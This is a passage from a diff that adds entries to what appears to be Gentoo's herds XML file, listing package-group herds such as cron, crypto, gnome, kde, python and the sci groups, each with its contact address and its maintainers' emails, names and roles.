+    <name>Patrick Lauer</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>cron</name>
+  <email>cron-bugs@gentoo.org</email>
+  <description>Cron and similar packages</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+    <role>dcron</role>
+  </maintainer>
+  <maintainer>
+    <email>bangert@gentoo.org</email>
+    <role>bcron and more</role>
+  </maintainer>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+    <role>fcron</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>crypto</name>
+  <email>crypto@gentoo.org</email>
+  <description>Cryptography related packages</description>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+      <name>Robin H. Johnson</name>
+  </maintainer>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+    <role>Team Lead</role>
+  </maintainer>
+  <maintainer>
+    <email>vanquirius@gentoo.org</email>
+    <name>Marcelo Goes</name>
+  </maintainer>
+  <maintainer>
+    <email>arfrever@gentoo.org</email>
+    <name>Arfrever Frehtes Taifersar Arahesis</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>deb-tools</name>
+  <email>deb-tools@gentoo.org</email>
+  <description>Tools used to build Debian like distributions and related packages</description>
+  <maintainer>
+    <email>yvasilev@gentoo.org</email>
+    <name>Yuri Vasilevski</name>
+   </maintainer>
+  <maintainer>
+    <email>jer@gentoo.org</email>
+    <name>Jeroen Roovers</name>
+   </maintainer>
+</herd>
+<herd>
+  <name>dev-tools</name>
+  <email>dev-tools@gentoo.org</email>
+  <description>Language-agnostic software development and code analysis tools</description>
+  <maintainer>
+    <email>nerdboy@gentoo.org</email>
+    <name>Steve Arnold</name>
+    <role>Sourcenav, Doxygen, some Eclipse, other</role>
+  </maintainer>
+  <maintainer>
+    <email>wormo@gentoo.org</email>
+    <name>Stephanie Lockwood-Childs</name>
+    <role>PPC and embedded, some Eclipse</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>enlightenment</name>
+  <email>enlightenment@gentoo.org</email>
+  <description>efl and e17 related packages</description>
+  <maintainer>
+    <email>tommy@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>dagger@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>dotnet</name>
+  <email>dotnet@gentoo.org</email>
+  <description>DotNet-related packages</description>
+  <maintainer>
+     <email>jurek@gentoo.org</email>
+     <name>Jurek Bartuszek</name>
+  </maintainer>
+  <maintainer>
+     <email>pacho@gentoo.org</email>
+     <name>Pacho Ramos</name>
+     <role>Taking care of this until more people join.</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>freedesktop</name>
+  <email>freedesktop-bugs@gentoo.org</email>
+  <description>Freedesktop standards related packages and shared desktop components.</description>
+  <maintainer>
+    <email>gnome@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>kde@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>rox@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>xfce@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>lxde@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>gnome</name>
+  <email>gnome@gentoo.org</email>
+  <description>GNOME Desktop and related packages</description>
+  <maintainer>
+    <email>dang@gentoo.org</email>
+    <name>Daniel Gryniewicz</name>
+  </maintainer>
+  <maintainer>
+    <email>leio@gentoo.org</email>
+    <name>Mart Raudsepp</name>
+  </maintainer>
+  <maintainer>
+    <email>eva@gentoo.org</email>
+    <name>Gilles Dartiguelongue</name>
+  </maintainer>
+  <maintainer>
+    <email>nirbheek@gentoo.org</email>
+    <name>Nirbheek Chauhan</name>
+  </maintainer>
+  <maintainer>
+	<email>mrpouet@gentoo.org</email>
+	<name>Romain Perier</name>
+  </maintainer>
+  <maintainer>
+  	<email>pacho@gentoo.org</email>
+  	<name>Pacho Ramos</name>
+  </maintainer>
+  <maintainer>
+    <email>abcd@gentoo.org</email>
+    <name>Jonathan Callen</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gnome-accessibility</name>
+  <email>gnome-accessibility@gentoo.org</email>
+  <description>GNOME accessibility packages</description>
+  <maintainer>
+    <email>dang@gentoo.org</email>
+    <name>Daniel Gryniewicz</name>
+  </maintainer>
+  <maintainer>
+    <email>leio@gentoo.org</email>
+    <name>Mart Raudsepp</name>
+  </maintainer>
+  <maintainer>
+    <email>mrpouet@gentoo.org</email>
+    <name>Romain Perier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gnome-mm</name>
+  <email>gnome-mm@gentoo.org</email>
+  <description>GNOME C++ Bindings</description>
+  <maintainer>
+    <email>leio@gentoo.org</email>
+    <name>Mart Raudsepp</name>
+  </maintainer>
+  <maintainer>
+    <email>remi@gentoo.org</email>
+    <name>Rémi Cardona</name>
+  </maintainer>
+  <maintainer>
+    <email>dang@gentoo.org</email>
+    <name>Daniel Gryniewicz</name>
+  </maintainer>
+  <maintainer>
+    <email>mrpouet@gentoo.org</email>
+    <name>Romain Perier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gnome-office</name>
+  <email>gnome-office@gentoo.org</email>
+  <description>GNOME Office packages</description>
+  <maintainer>
+    <email>dang@gentoo.org</email>
+    <name>Daniel Gryniewicz</name>
+  </maintainer>
+  <maintainer>
+    <email>eva@gentoo.org</email>
+    <name>Gilles Dartiguelongue</name>
+  </maintainer>
+  <maintainer>
+    <email>leio@gentoo.org</email>
+    <name>Mart Raudsepp</name>
+  </maintainer>
+  <maintainer>
+    <email>nirbheek@gentoo.org</email>
+    <name>Nirbheek Chauhan</name>
+  </maintainer>
+  <maintainer>
+	<email>mrpouet@gentoo.org</email>
+	<name>Romain Perier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gdesklets</name>
+  <email>gdesklets@gentoo.org</email>
+  <description>GDesklets packages</description>
+  <maintainer>
+    <email>nixphoeni@gentoo.org</email>
+    <name>Joe Sapp</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gpe</name>
+  <email>gpe@gentoo.org</email>
+  <description>GPE Desktop and related packages</description>
+  <maintainer>
+    <email>yvasilev@gentoo.org</email>
+    <name>Yuri Vasilevski</name>
+   </maintainer>
+ </herd>
+<herd>
+  <name>accessibility</name>
+  <email>accessibility@gentoo.org</email>
+  <description>accessibility related packages</description>
+  <maintainer>
+    <email>WilliamH@gentoo.org</email>
+    <name>William Hubbs</name>
+    <role>Team Lead, LiveCD testing</role>
+  </maintainer>
+  <maintainer>
+    <email>neurogeek@gentoo.org</email>
+    <name>Jesus Rivero</name>
+    <role>ebuild maintainer</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>java</name>
+  <email>java@gentoo.org</email>
+  <description>Java-related packages</description>
+  <maintainingproject>/proj/en/java/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>kde</name>
+  <email>kde@gentoo.org</email>
+  <description>KDE and related packages</description>
+  <maintainer>
+    <email>carlo@gentoo.org</email>
+    <name>Carsten Lohrke</name>
+  </maintainer>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+    <email>deathwing00@gentoo.org</email>
+    <name>Ioannis Aslanidis</name>
+  </maintainer>
+  <maintainer>
+    <email>keytoaster@gentoo.org</email>
+    <name>Tobias Heinlein</name>
+  </maintainer>
+  <maintainer>
+    <email>lxnay@gentoo.org</email>
+    <name>Fabio Erculiani</name>
+  </maintainer>
+  <maintainer>
+    <email>tgurr@gentoo.org</email>
+    <name>Timo Gurr</name>
+  </maintainer>
+  <maintainer>
+    <email>jmbsvicetto@gentoo.org</email>
+    <name>Jorge Manuel B. S. Vicetto</name>
+  </maintainer>
+  <maintainer>
+    <email>scarabeus@gentoo.org</email>
+    <name>Tomas Chvatal</name>
+  </maintainer>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
+    <name>Patrick Lauer</name>
+  </maintainer>
+  <maintainer>
+    <email>alexxy@gentoo.org</email>
+    <name>Alexey Shvetsov</name>
+  </maintainer>
+  <maintainer>
+    <email>tampakrap@gentoo.org</email>
+    <name>Theo Chatzimichos</name>
+  </maintainer>
+  <maintainer>
+    <email>abcd@gentoo.org</email>
+    <name>Jonathan Callen</name>
+  </maintainer>
+  <maintainer>
+    <email>mrpouet@gentoo.org</email>
+    <name>Romain Perier</name>
+  </maintainer>
+  <maintainer>
+    <email>spatz@gentoo.org</email>
+    <name>Dror Levin</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>qt</name>
+  <email>qt@gentoo.org</email>
+  <description>Qt and related packages</description>
+  <maintainer>
+    <email>hwoarang@gentoo.org</email>
+    <name>Markos Chandras</name>
+  </maintainer>
+  <maintainer>
+    <email>tampakrap@gentoo.org</email>
+    <name>Theo Chatzimichos</name>
+  </maintainer>
+  <maintainer>
+    <email>wired@gentoo.org</email>
+    <name>Alex Alexander</name>
+  </maintainer>
+  <maintainer>
+    <email>ayoy@gentoo.org</email>
+    <name>Dominik Kapusta</name>
+  </maintainer>
+  <maintainer>
+    <email>spatz@gentoo.org</email>
+    <name>Dror Levin</name>
+  </maintainer>
+  <maintainer>
+    <email>abcd@gentoo.org</email>
+    <name>Jonathan Callen</name>
+  </maintainer>
+  <maintainer>
+    <email>chiiph@gentoo.org</email>
+    <name>Tomas Touceda</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>lxde</name>
+  <email>lxde@gentoo.org</email>
+  <description>LXDE and related packages</description>
+  <maintainer>
+    <email>vostorga@gentoo.org</email>
+    <name>Víctor Ostorga</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>perl</name>
+  <email>perl@gentoo.org</email>
+  <description>Perl-related packages</description>
+  <maintainer>
+    <email>ian@gentoo.org</email>
+    <name>Christian Hartmann</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>prefix</name>
+  <email>prefix@gentoo.org</email>
+  <description>Prefix-related packages</description>
+  <maintainer>
+    <email>grobian@gentoo.org</email>
+    <name>Fabian Groffen</name>
+  </maintainer>
+  <maintainer>
+    <email>darkside@gentoo.org</email>
+    <name>Jeremy Olexa</name>
+  </maintainer>
+  <maintainer>
+    <email>haubi@gentoo.org</email>
+    <name>Michael Haubenwallner</name>
+  </maintainer>
+  <maintainer>
+    <email>mduft@gentoo.org</email>
+    <name>Markus Duft</name>
+  </maintainer>
+  <maintainer>
+    <email>abcd@gentoo.org</email>
+    <name>Jonathan Callen</name>
+  </maintainer>
+  <maintainer>
+    <email>fauli@gentoo.org</email>
+    <name>Christian Faulhammer</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>python</name>
+  <email>python@gentoo.org</email>
+  <description>Python-related packages</description>
+  <maintainer>
+    <email>neurogeek@gentoo.org</email>
+    <name>Jesus Rivero</name>
+  </maintainer>
+  <maintainer>
+    <email>ferringb@gentoo.org</email>
+    <name>Brian Harring</name>
+  </maintainer>
+  <maintainer>
+    <email>pythonhead@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>lordvan@gentoo.org</email>
+    <name>Thomas Raschbacher</name>
+  </maintainer>
+  <maintainer>
+    <email>carlo@gentoo.org</email>
+    <name>Carsten Lohrke</name>
+  </maintainer>
+  <maintainer>
+    <email>dev-zero@gentoo.org</email>
+    <name>Tiziano Müller</name>
+  </maintainer>
+  <maintainer>
+    <email>nelchael@gentoo.org</email>
+    <name>Krzysztof Pawlik</name>
+  </maintainer>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
+    <name>Patrick Lauer</name>
+  </maintainer>
+  <maintainer>
+    <email>bicatali@gentoo.org</email>
+    <name>Sébastien Fabbro</name>
+  </maintainer>
+  <maintainer>
+    <email>chutzpah@gentoo.org</email>
+    <name>Patrick McLean</name>
+  </maintainer>
+  <maintainer>
+    <email>arfrever@gentoo.org</email>
+    <name>Arfrever Frehtes Taifersar Arahesis</name>
+  </maintainer>
+  <maintainer>
+    <email>djc@gentoo.org</email>
+    <name>Dirkjan Ochtman</name>
+  </maintainer>
+  <maintainer>
+    <email>sping@gentoo.org</email>
+    <name>Sebastian Pipping</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>x11</name>
+  <email>x11@gentoo.org</email>
+  <description>X11 implementations and related packages</description>
+  <maintainingproject>/proj/en/desktop/x/x11/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>x11-drivers</name>
+  <email>x11-drivers@gentoo.org</email>
+  <description>X11 external drivers packages</description>
+  <maintainingproject>/proj/en/desktop/x/x11-drivers/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>sound</name>
+  <email>sound@gentoo.org</email>
+  <description>media-sound and related packages</description>
+  <maintainingproject>/proj/en/desktop/sound/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>alsa</name>
+  <email>alsa-bugs@gentoo.org</email>
+  <description>Advanced Linux Sound Architecture packages</description>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+    <name>Tony Vroon</name>
+  </maintainer>
+  <maintainer>
+    <email>dsd@gentoo.org</email>
+    <name>Daniel Drake</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>proaudio</name>
+  <email>proaudio@gentoo.org</email>
+  <description>Professional audio applications and libraries</description>
+  <maintainer>
+    <email>flameeyes@gentoo.org</email>
+    <name>Diego Pettenò</name>
+  </maintainer>
+  <maintainer>
+    <email>aballier@gentoo.org</email>
+    <name>Alexis Ballier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>base-system</name>
+  <email>base-system@gentoo.org</email>
+  <description>Core system utilities and libraries.</description>
+  <maintainer>
+    <email>pebenito@gentoo.org</email>
+    <name>Chris Pebenito</name>
+    <role>Selinux guy</role>
+  </maintainer>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+    <role>Miscellaneous leet stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+    <name>Tony Vroon</name>
+    <role>LILO</role>
+  </maintainer>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+    <role>Specialized block devices and lots of other miscellaneous stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>cardoe@gentoo.org</email>
+    <name>Doug Goldstein</name>
+    <role>Misc stuff that needs to get done</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>hardened</name>
+  <email>hardened@gentoo.org</email>
+  <description>Hardened Gentoo project packages and policy</description>
+  <maintainer>
+    <email>pebenito@gentoo.org</email>
+    <name>Chris PeBenito</name>
+    <role>SELinux project lead</role>
+  </maintainer>
+  <maintainer>
+    <email>solar@gentoo.org</email>
+    <name>Ned Ludd</name>
+    <role>PaX/Grsecurity project lead</role>
+  </maintainer>
+  <maintainer>
+    <email>battousai@gentoo.org</email>
+    <name>Bryan D. Stine</name>
+    <role>Bastille</role>
+  </maintainer>
+  <maintainer>
+    <email>gengor@gentoo.org</email>
+    <name>Gordon Malm</name>
+    <role>hardened-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+    <role>Crypto Team Lead</role>
+  </maintainer>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+    <name>Tony Vroon</name>
+    <role>AMD64 arch team liaison</role>
+  </maintainer>
+  <maintainer>
+    <email>nixnut@gentoo.org</email>
+    <name>Gysbert Wassenaar</name>
+    <role>PPC arch team liaison</role>
+  </maintainer>
+  <maintainer>
+    <email>zorry@gentoo.org</email>
+    <name>Magnus Granberg</name>
+    <role>hardened-toolchain</role>
+  </maintainer>
+  <maintainer>
+    <email>blueness@gentoo.org</email>
+    <name>Anthony G. Basile</name>
+    <role>hardened-sources</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>ppc</name>
+  <email>ppc@gentoo.org</email>
+  <description>PowerPC porters</description>
+  <maintainingproject>/proj/en/base/ppc/index.xml</maintainingproject>
+  <!-- Removed old list, using <maintainingproject> -->
+</herd>
+<herd>
+  <name>ppc64</name>
+  <email>ppc64@gentoo.org</email>
+  <description>Gentoo/PPC64 Team</description>
+  <maintainer>
+    <email>tgall@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>ranger@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>josejx@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>games</name>
+  <email>games@gentoo.org</email>
+  <description>Gentoo Games Team</description>
+  <maintainingproject>/proj/en/desktop/games/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>php</name>
+  <email>php-bugs@gentoo.org</email>
+  <description>PHP and related packages</description>
+  <maintainer>
+    <email>mabi@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>hoffie@gentoo.org</email>
+    <role>Core PHP (dev-lang/php, eclasses), PECL, PEAR, misc</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>qmail</name>
+  <email>qmail-bugs@gentoo.org</email>
+  <description>Everything to do with Qmail, and related packages.</description>
+  <maintainer>
+      <email>hollow@gentoo.org</email>
+      <name>Benedikt Böhm</name>
+      <role>vpopmail, vchkuser</role>
+  </maintainer>
+  <maintainer>
+      <email>vapier@gentoo.org</email>
+      <role>mini-qmail</role>
+  </maintainer>
+  <maintainer>
+      <email>bangert@gentoo.org</email>
+      <name>Thilo Bangert</name>
+  </maintainer>
+  <maintainer>
+      <email>tupone@gentoo.org</email>
+      <name>Alfredo Tupone</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>app-backup</name>
+  <email>app-backup@gentoo.org</email>
+  <description>Any applications that handle system backup and restore.</description>
+  <maintainer>
+      <email>robbat2@gentoo.org</email>
+      <role>Team leader</role>
+      <name>Robin H. Johnson</name>
+  </maintainer>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+    <role>Bacula</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-mail</name>
+  <email>net-mail@gentoo.org</email>
+  <description>Email servers, clients, and related packages</description>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+  <maintainer>
+    <email>hattya@gentoo.org</email>
+    <name>Akinori Hattori</name>
+    <role>Sylpheed</role>
+  </maintainer>
+  <maintainer>
+    <email>dertobi123@gentoo.org</email>
+    <name>Tobias Scherbaum</name>
+    <role>cyrus-*, postgrey, mailgraph, ...</role>
+  </maintainer>
+  <maintainer>
+    <email>radhermit@gentoo.org</email>
+    <name>Tim Harder</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>wxwidgets</name>
+  <email>wxwidgets@gentoo.org</email>
+  <description>wxGTK and wxPython related packages and applications</description>
+  <maintainer>
+    <email>leio@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>dirtyepic@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>vim</name>
+  <email>vim@gentoo.org</email>
+  <description>vim-core, vim, gvim and app-vim plugins</description>
+  <maintainer>
+    <email>nelchael@gentoo.org</email>
+    <name>Krzysztof Pawlik</name>
+  </maintainer>
+  <maintainer>
+    <email>lack@gentoo.org</email>
+    <name>Jim Ramsay</name>
+  </maintainer>
+  <maintainer>
+    <email>radhermit@gentoo.org</email>
+    <name>Tim Harder</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci</name>
+  <email>sci@gentoo.org</email>
+  <description>scientific applications and libraries</description>
+  <maintainer>
+    <email>george@gentoo.org</email>
+    <name>George Shapovalov</name>
+  </maintainer>
+  <maintainer>
+    <email>phosphan@gentoo.org</email>
+    <name>Patrick Kursawe</name>
+    <role>bugzilla scanner with not much time</role>
+  </maintainer>
+  <maintainer>
+    <email>nerdboy@gentoo.org</email>
+    <name>Steve Arnold</name>
+    <role>Earth science, mapping, and modeling stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+  <email>je_fro@gentoo.org</email>
+  <name>Jeff Gardner</name>
+  </maintainer>
+  <maintainer>
+    <email>bicatali@gentoo.org</email>
+    <name>Sébastien Fabbro</name>
+  </maintainer>
+  <maintainer>
+    <email>jsbronder@gentoo.org</email>
+    <name>Justin Bronder</name>
+  </maintainer>
+  <maintainer>
+    <email>spock@gentoo.org</email>
+    <name>Michał Januszewski</name>
+  </maintainer>
+  <maintainer>
+    <email>grozin@gentoo.org</email>
+    <name>Andrey Grozin</name>
+  </maintainer>
+  <maintainer>
+    <email>weaver@gentoo.org</email>
+    <name>Andrey Kislyuk</name>
+  </maintainer>
+  <maintainer>
+    <email>jlec@gentoo.org</email>
+    <name>Justin Lecher</name>
+    <role>X-ray, NMR and protein visualization stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius@gentoo.org</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-biology</name>
+  <email>sci-biology@gentoo.org</email>
+  <description>Packages related to biological sciences</description>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+  <email>je_fro@gentoo.org</email>
+  <name>Jeff Gardner</name>
+  </maintainer>
+  <maintainer>
+    <email>weaver@gentoo.org</email>
+    <name>Andrey Kislyuk</name>
+  </maintainer>
+  <maintainer>
+    <email>jlec@gentoo.org</email>
+    <name>Justin Lecher</name>
+    <role>X-ray, NMR and protein visualization stuff</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-chemistry</name>
+  <email>sci-chemistry@gentoo.org</email>
+  <description>Packages related to chemistry</description>
+  <maintainer>
+    <email>dberkholz@gentoo.org</email>
+    <name>Donnie Berkholz</name>
+  </maintainer>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+    <email>phosphan@gentoo.org</email>
+    <name>Patrick Kursawe</name>
+    <role>bugzilla scanner with not much time</role>
+  </maintainer>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+    <email>je_fro@gentoo.org</email>
+    <name>Jeff Gardner</name>
+  </maintainer>
+  <maintainer>
+	  <email>alexxy@gentoo.org</email>
+	  <name>Alexey Shvetsov</name>
+  </maintainer>
+  <maintainer>
+    <email>jlec@gentoo.org</email>
+    <name>Justin Lecher</name>
+    <role>X-ray, NMR and protein visualization stuff</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-electronics</name>
+  <email>sci-electronics@gentoo.org</email>
+  <description>Electronics related packages</description>
+  <maintainer>
+    <email>calchan@gentoo.org</email>
+    <name>Denis Dupeyron</name>
+  </maintainer>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+      <email>tomjbe@gentoo.org</email>
+      <name>Thomas Beierlein</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-mathematics</name>
+  <email>sci-mathematics@gentoo.org</email>
+  <description>Mathematics related packages</description>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+    <email>bicatali@gentoo.org</email>
+    <name>Sébastien Fabbro</name>
+  </maintainer>
+  <maintainer>
+    <email>grozin@gentoo.org</email>
+    <name>Andrey Grozin</name>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius@gentoo.org</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-physics</name>
+  <email>sci-physics@gentoo.org</email>
+  <description>Physics related packages</description>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+    <email>bicatali@gentoo.org</email>
+    <name>Sébastien Fabbro</name>
+  </maintainer>
+  <maintainer>
+    <email>spock@gentoo.org</email>
+    <name>Michał Januszewski</name>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius@gentoo.org</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sci-geosciences</name>
+  <email>sci-geosciences@gentoo.org</email>
+  <description>Geosciences related packages</description>
+  <maintainer>
+    <email>djay@gentoo.org</email>
+    <name>Gerald Fenoy</name>
+  </maintainer>
+  <maintainer>
+    <email>nerdboy@gentoo.org</email>
+    <name>Steve Arnold</name>
+    <role>Grass, gpsd, geographic libs, data formats</role>
+  </maintainer>
+  <maintainer>
+    <email>fordfrog@gentoo.org</email>
+    <name>Miroslav Šulc</name>
+    <role>GIS applications written in Java</role>
+  </maintainer>
+  <maintainer>
+    <email>hanno@gentoo.org</email>
+    <name>Hanno Böck</name>
+  </maintainer>
+  <maintainer>
+    <email>scarabeus@gentoo.org</email>
+    <name>Tomáš Chvátal</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>haskell</name>
+  <email>haskell@gentoo.org</email>
+  <description>Compilers, libraries and apps related to the programming language Haskell</description>
+  <maintainer>
+    <email>araujo@gentoo.org</email>
+    <name>Luis F. Araujo</name>
+  </maintainer>
+  <maintainer>
+    <email>kolmodin@gentoo.org</email>
+    <name>Lennart Kolmodin</name>
+    <role>Team Lead</role>
+  </maintainer>
+  <maintainer>
+    <email>slyfox@gentoo.org</email>
+    <name>Sergei Trofimovich</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>ml</name>
+  <email>ml@gentoo.org</email>
+  <description>compilers, libraries and apps related to Caml</description>
+  <maintainer>
+    <email>aballier@gentoo.org</email>
+    <name>Alexis Ballier</name>
+  </maintainer>
+  <maintainer><email>hkBst@gentoo.org</email></maintainer>
+</herd>
+<herd>
+  <name>common-lisp</name>
+  <email>common-lisp@gentoo.org</email>
+  <description>Common Lisp compilers, libraries and applications and controller</description>
+  <maintainer><email>hkBst@gentoo.org</email></maintainer>
+  <maintainer>
+    <email>pchrist@gentoo.org</email>
+    <name>Panagiotis Christopoulos</name>
+  </maintainer>
+  <maintainer>
+    <email>chiiph@gentoo.org</email>
+    <name>Tomas Touceda</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>emacs</name>
+  <email>emacs@gentoo.org</email>
+  <description>GNU Emacs applications and Emacs Lisp add-ons</description>
+  <maintainer>
+    <email>fauli@gentoo.org</email>
+    <name>Christian Faulhammer</name>
+  </maintainer>
+  <maintainer>
+    <email>ulm@gentoo.org</email>
+    <name>Ulrich Müller</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>mozilla</name>
+  <email>mozilla@gentoo.org</email>
+  <description>Mozilla and related applications</description>
+  <maintainer>
+    <email>anarchy@gentoo.org</email>
+    <name>Jory A. Pratt</name>
+    <role>Lead</role>
+  </maintainer>
+  <maintainer>
+    <email>redhatter@gentoo.org</email>
+    <name>Stuart Longland</name>
+  </maintainer>
+  <maintainer>
+    <email>nirbheek@gentoo.org</email>
+    <name>Nirbheek Chauhan</name>
+  </maintainer>
+  <maintainer>
+    <email>volkmar@gentoo.org</email>
+    <name>Mounir Lamouri</name>
+  </maintainer>
+  <maintainer>
+    <email>polynomial-c@gentoo.org</email>
+    <name>Lars Wendler</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>ruby</name>
+  <email>ruby@gentoo.org</email>
+  <description>The Ruby programming language</description>
+  <maintainer>
+    <email>graaff@gentoo.org</email>
+    <name>Hans de Graaff</name>
+  </maintainer>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+  <maintainer>
+    <email>a3li@gentoo.org</email>
+    <name>Alex Legler</name>
+  </maintainer>
+  <maintainer>
+    <email>gengor@gentoo.org</email>
+    <name>Gordon Malm</name>
+  </maintainer>
+  <maintainer>
+    <email>flameeyes@gentoo.org</email>
+    <name>Diego Petennò</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>wine</name>
+  <email>wine@gentoo.org</email>
+  <description>
+    Wine - System for running windows apps under Linux.
+  </description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>ada</name>
+  <email>ada@gentoo.org</email>
+  <description>
+    compilers, libs and other packages related to ada. Covers dev-ada
+    category (+ some extra stuff).
+  </description>
+  <maintainer>
+    <email>george@gentoo.org</email>
+    <name>George Shapovalov</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>printing</name>
+  <email>printing@gentoo.org</email>
+  <description>
+    Printing related stuff, net-print category (+ some extra stuff).
+  </description>
+  <maintainer>
+    <email>tgurr@gentoo.org</email>
+    <name>Timo Gurr</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>gnustep</name>
+  <email>gnustep@gentoo.org</email>
+  <description>GNUstep enviroment and related</description>
+  <maintainer>
+    <email>grobian@gentoo.org</email>
+    <name>Fabian Groffen</name>
+  </maintainer>
+  <maintainer>
+    <email>voyageur@gentoo.org</email>
+    <name>Bernard Cafarelli</name>
+  </maintainer>
+  <maintainer>
+    <email>truedfx@gentoo.org</email>
+    <name>Harald van Dijk</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>ha-cluster</name>
+  <email>ha-cluster@gentoo.org</email>
+  <description>Gentoo High-Availability Cluster Team</description>
+  <maintainer>
+    <email>scarabeus@gentoo.org</email>
+    <name>Tomáš Chvátal</name>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+  <maintainer>
+    <email>cla@gentoo.org</email>
